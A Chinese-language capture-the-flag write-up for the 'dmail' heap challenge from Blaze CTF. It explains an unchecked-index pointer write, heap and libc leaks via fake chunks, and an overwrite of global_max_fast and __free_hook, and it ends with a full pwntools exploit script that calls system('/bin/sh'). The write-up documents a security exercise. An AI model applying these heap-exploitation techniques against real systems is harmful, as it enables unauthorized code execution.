Blaze CTF, 不知道是谁举办的,不过这个dmail确实有点麻烦……

程序逻辑较为简单,只有send mail, read mail, delete mail这3个功能,程序首先分配了一个256字节的数组(32个元素)在堆上,依靠一个Bitmap来记录每个位置是否已经使用。每次send mail时就malloc一块小于256字节的块存放到之前的数组中,delete mail则free其指向的块并将其清0. read mail, delete mail时都会检查Bitmap对应位是否为1, 而send mail时则会检查对应块是否为0.程序开启所有保护。

漏洞

漏洞还是比较容易发现,因为程序没对输入的idx做检查,故只要对应的Bitmap位是0就可以随便输入idx,程序会把malloc得到的指针写到idx指向的地方,这就相当与有了一个任意内存写的功能,但不能随意控制写的内容。程序比较神奇的是它对于大的idx能够检查出对应位(idx % 32)是否为1,给接下来的利用带来不小的麻烦,至于为什么我也没太搞清楚……

Leak

先分配mail 0到堆上,然后分配mail 34,此时程序正好将malloc得到的堆地址写到了mail 0指向的位置,此时read mail 0就读出了mail 34的地址,也即leak出了heap的位置。

libc基址的leak则相对麻烦一些,我感觉自己搞的比较绕。分配一个大块mail 16,大小为0xb0,预先在其中布置一个fake chunk,大小为0x50。接着将mail 0 free,让其进入fast bin,此时再次分配mail 34,此时覆盖掉之前free掉的mail 0的fd,这个指针正好指向mail 34的用户数据,于是我们在写mail 34数据时再伪造一个chunk,大小为0x50,fd为mail 16中fake chunk的位置。接着通过2次分配0x50的块mail 17, mail 18,此时fast bin中就剩下了mail 16中的fake chunk。再次分配mail 19即可指向mail 16中的fake chunk,接着将mail 16 free,此时其被投入unsorted bin中,再次取回mail 16,这次大小为0x60,于是unsorted bin中0xb0大小的块将分裂为0x60和0x50两块,而剩下的块又将投入unsorted bin中,正好它的fd和bk指针写到了mail 19的用户数据里,这时read mail 19即可得到unsorted bin的地址,也即leak出了libc的位置。(当然,是libc偏移已知的情况下)

1
2
3
4
5
6
7
8
9
10
 [mail 0]           [mail 16]       [mail 34]
0x50 0x60 0x50 0x30
+---------+-------------+-----------+----------+
|p|s|f| |p|s| |p|s|f|b| |p|s|p|s|f||
+---------+-------------+-----------+----------+
| ^ [mail 19] ^ |
| | | |
| | | |
| ----------------|----
-------------------------------------

Exploit

这部分感觉脑洞比较大,因为程序没有edit这种功能,传统的unlink不太好用,只能通过伪造fd来取得想要写的位置。但Fast bin需要正确的size,其他bin则有link list完整性检查,都不太好利用。在程序保护全开的情况下,一般的想法是overwrite free hook to system来进行利用,而且这个题程序bss上的指针就一个,还有一个Bitmap数据,感觉没有太多利用价值。

想了许久,结果想到了前不久的zerostorage……于是我决定试一下overwrite global_max_fast,之前提到可以通过idx来进行任意内存写,我们就把global_max_fast写成一个堆地址,此时所有chunk都会被当成Fast chunk来处理。

在main_arena中,top是跟在fastbin之后的成员,所以通过适当控制chunk的大小(64bit下大小为0xc0),就可以控制top的值。具体来说,事先需要准备一个0xc0大小的mail 20,在改写global_max_fast之后free mail 20,此时mail 20被当作fast chunk插入top这个”fast bin”中。接着使用之前leak相似的伎俩,利用对应的idx构造fake chunk并改写mail 20的fd指向free_hook - 16,然后取回mail 20和构造的fake chunk,即可使top指向free_hook - 16.随后分配一个fast bin里没有的大小,触发top chunk code,即可将system写入free_hook中。在这之前,还需要向free_hook - 8的位置也做一次任意内存写,让”top chunk”的size足够大才可以。

Puzzle

实际操作中,比较麻烦的一个是Bitmap,在构造chunk的时候需要妥善处理idx,不能与之后的任意写有冲突否则就写不进去。而且31这个idx比较神奇,一写它就导致bitmap的高4个bytes都变成了1,之后任意写就写不了了。remote的free_hook - 8恰恰就对应idx 31,于是我将fake top chunk的位置向前推,发现free_book之前一些位置会被fgets使用,乱写的话会崩掉,于是又往前找,最后找到了free_hook - 56的地方终于没事了……

另一个比较麻烦的就是libc,题目没给libc,只说运行在Ubuntu 14.04。于是我搜了一个Ubuntu 14.04LTS的libc deb下来,发现unsorted bin的位置一样,于是觉得应该没错。结果远程试了几次发现不行,找了一下客服,他们说需要leak一下,似乎libc不太一样。于是我就想办法leak了一下,之前说过如果写idx 31将导致无法任意内存写,但相对地,可以任意内存读,所以我在某个mail中放上想要leak的地址,然后read对应的idx就可以读出内容。

从计算的地址处读出一些数据后,我发现有点奇怪,数据段的地址应该没错,唯独system计算错了,而且我发现libc的基址竟然比计算的往前推了1个page!于是只能leak出一些数据,然后做一个修正,最后终于搞成了。拖下libc来一看,果然不一样,数据段的offset都多了0x1000也就是1个page,而system则往后推了0xd40,非常神奇……

小结

现在的heap的脑洞原来越大,利用越来越复杂了,感觉自己有点跟不上时代的脚步了呢……XD

利用代码,仅供参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/env python
# coding: utf-8

from pwn import *

p = remote('127.0.0.1', 4201)
#p = process('./dmail')

pick64 = lambda x: u64(x[:8].ljust(8, '\0'))

# remote

unsorted_offset = 0x3be7b8
free_hook_offset = 0x3c0a10
system_offset = 0x46640
max_fast_offset = 0x3c0b40

top_size_in_fastbin = 0xc0

def new(idx, length, payload):
p.recvuntil('\n>')
p.sendline('1')
p.recvuntil(': ')
p.sendline(str(idx))
p.recvuntil(': ')
p.sendline(str(length))
p.recvuntil(': ')
p.sendline(payload)

def read(idx):
p.recvuntil('\n>')
p.sendline('2')
p.recvuntil(': ')
p.sendline(str(idx))
data = p.recvuntil('\n1 ->', drop=True)
if data.endswith('\n'):
data = data[:-1]
return data

def delete(idx):
p.recvuntil('\n>')
p.sendline('3')
p.recvuntil(': ')
p.sendline(str(idx))

new(0, 0x40, 'A'*8)
new(16, 0xa0, 'B'*0x50 + p64(0) + p64(0x51) + p64(0) + p64(0))
new(34, 0x10, 'C'*8)
print '[+] The idx 34 will xor %d' % (34 % 32)

heap = pick64(read(0)) - 0x220
fake_chunk = heap + 0x1c0
print '[+] heap base @ %#x' % heap

delete(0)
new(34, 0x20, p64(0) + p64(0x51) + p64(fake_chunk))
new(17, 0x40, "/bin/sh\0")
new(18, 0x40, 'E'*8)
new(19, 0x40, 'F'*8) # 19 will point to middle of 16
new(20, 0xb0, 'I'*8)

# shrink 16, split just @ 19
delete(16)
new(16, 0x50, 'B'*8)

unsorted = pick64(read(19))
print '[+] unsorted bin @ %#x' % unsorted
libc = unsorted - unsorted_offset
free_hook = libc + free_hook_offset
max_fast = libc + max_fast_offset
system = libc + system_offset
system = system - 0xd50 # the strange adjustment
print '[+] libc base @ %#x' % libc
print '[+] free hook @ %#x' % free_hook
print '[+] global_max_fast @ %#x' % max_fast
print '[+] system @ %#x' % system

# then modify global_max_fast & __free_hook - 56 to a large number
idx = (free_hook - 56 - (heap + 16)) / 8
print '[+] free_hook idx = %d, which will xor %d' % (idx, idx % 32)
new(idx, 0x100, 'H'*8)

idx = (max_fast - (heap + 16)) / 8
print '[+] global_max_fast idx = %d, which will xor %d' % (idx, idx % 32)
new(idx, 0x100, 'G'*8)

delete(20)

# retrive the legacy unsorted chunk, fake a 'fast-chunk' point to (__free_hook-64), then malloc twice, the 'top' will point to (__free_hook-64)
new(0x4c, 0x40, p64(0) + p64(0xc1) + p64(free_hook - 64))
new(7, 0xb0, 'K'*8)
new(8, 0xb0, 'L'*8)

# finally we could use top chunk to overwrite free_hook
new(1, 0x70, p64(0) * 6 + p64(system))

# free /bin/sh
delete(17)

p.interactive()